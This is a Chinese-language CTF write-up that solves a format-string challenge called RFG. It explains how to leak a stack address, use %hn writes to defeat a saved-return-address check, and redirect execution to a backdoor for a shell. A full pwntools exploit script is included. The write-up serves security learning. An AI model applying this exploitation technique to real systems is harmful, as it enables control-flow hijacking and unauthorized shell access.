CTF PWN格式化字符串
题目名字叫RFG
这是去年刚开始学格式化字符串时做的题,当时完全不会做(太菜了)
今天拿出来复现了一下.
首先拿到题
可以看到只有PIE没有开
IDA逆向F5 拿到伪C代码
开始分析
可以看到存在一个后门函数
进入vuln函数查看
逻辑比较简单
存在一个格式化字符串漏洞
但是有一个检测
在执行前保存了vuln函数的返回地址
执行结束后进行了一个检验
由于程序没有开启PIE保护
我们可以利用格式化字符串对saved_return_address的值进行任意写
来绕过他的检测
同时可以用任意写来覆盖vuln的返回地址到后门函数
因为返回地址是直接存在栈上的
而要想实现覆盖返回地址
就必须拿到返回地址所在的栈地址
通过gdb调试我们发现
rbp的值存储的是一个栈地址
因此我们可以通过泄露rbp的值
然后计算偏移来得到返回地址所在的栈地址
这是整体的思路
泄露vuln函数返回地址所在的栈地址
修改saved_return_address的值
通过泄露出的栈地址修改vuln函数的返回地址
get shell
详细步骤
-----我是分割线--------
首先是泄露vuln函数返回地址所在的栈地址
使用gdb在vuln函数上下断点
然后运行
输入aaaaaaaa
到printf上使用stack 20查看栈上的数据
可以看到rbp的值是一个栈地址
紧挨着下面的便是返回地址
绿框是我们要泄露的
红框是我们要进行任意写的地址
同时我们可以算出
返回地址所在的栈地址+24=我们泄露的值
可以算出偏移=6+0xa=0x10(16)
输入"%16$p"就能把rbp的值以指针的形式打印出来
from pwn import *
sh=process("./rfg")
payload=b'%16$p'
sh.send(payload)
这样就能拿到我们需要进行任意读写的地址了(返回地址所在的栈地址)
rbp=int(sh.recv(),16)#这里有个点,printf是以%p的形式打印出来的,所以接受的时候不需要用u64函数处理,直接当成16进制数据转成int即可
print(hex(rbp))
retaddressOnstack=rbp-0x18
print(hex(rbp))
整个程序共三次循环
第一次循环使用完毕
第二次循环我们可以覆盖变量saved_return_address的值
对比后门函数的地址和正常返回地址
可以看到有两个字节不同
因此可以用%h一次写入两个字节
0x401282 后门函数地址
0x40138F 正常返回地址
因此写入0x1382(4738)个字节即可
payload=b'%4738c%10$hnaaaa'+p64(saveaddress)#aaaa是进行16对齐,后面压入要进行读写的地址,从gdb上可以看到格式化字符串是 saveaddress在第10个参数,因此要填$10
sh.send(payload)
第二次循环结束
检测绕过
第三次循环
我们对返回地址进行读写
用我们第一次泄露得到的栈地址
得到返回函数所在的栈地址
然后和第二次循环一样,任意读写
参数位置也是一样的,因为压入了同一个位置
payload=b'%4738c%10$hnaaaa'+p64(retaddressOnstack)
sh.send(payload)
最终完整exp
from pwn import *
sh=process("./rfg")
retaddress=0x40138f
backdoor=0x401282
saveaddress=0x404050
gdb.attach(sh)
payload=b'%16$p'
sh.send(payload)
rbp=int(sh.recv(),16)
print(hex(rbp))
retaddressOnstack=rbp-0x18
payload=b'%4738c%10$hnaaaa'+p64(saveaddress)
sh.send(payload)
sh.recvuntil("aaaa")
payload=b'%4738c%10$hnaaaa'+p64(retaddressOnstack)
sh.send(payload)
sh.recvuntil("aaaa")
sh.interactive()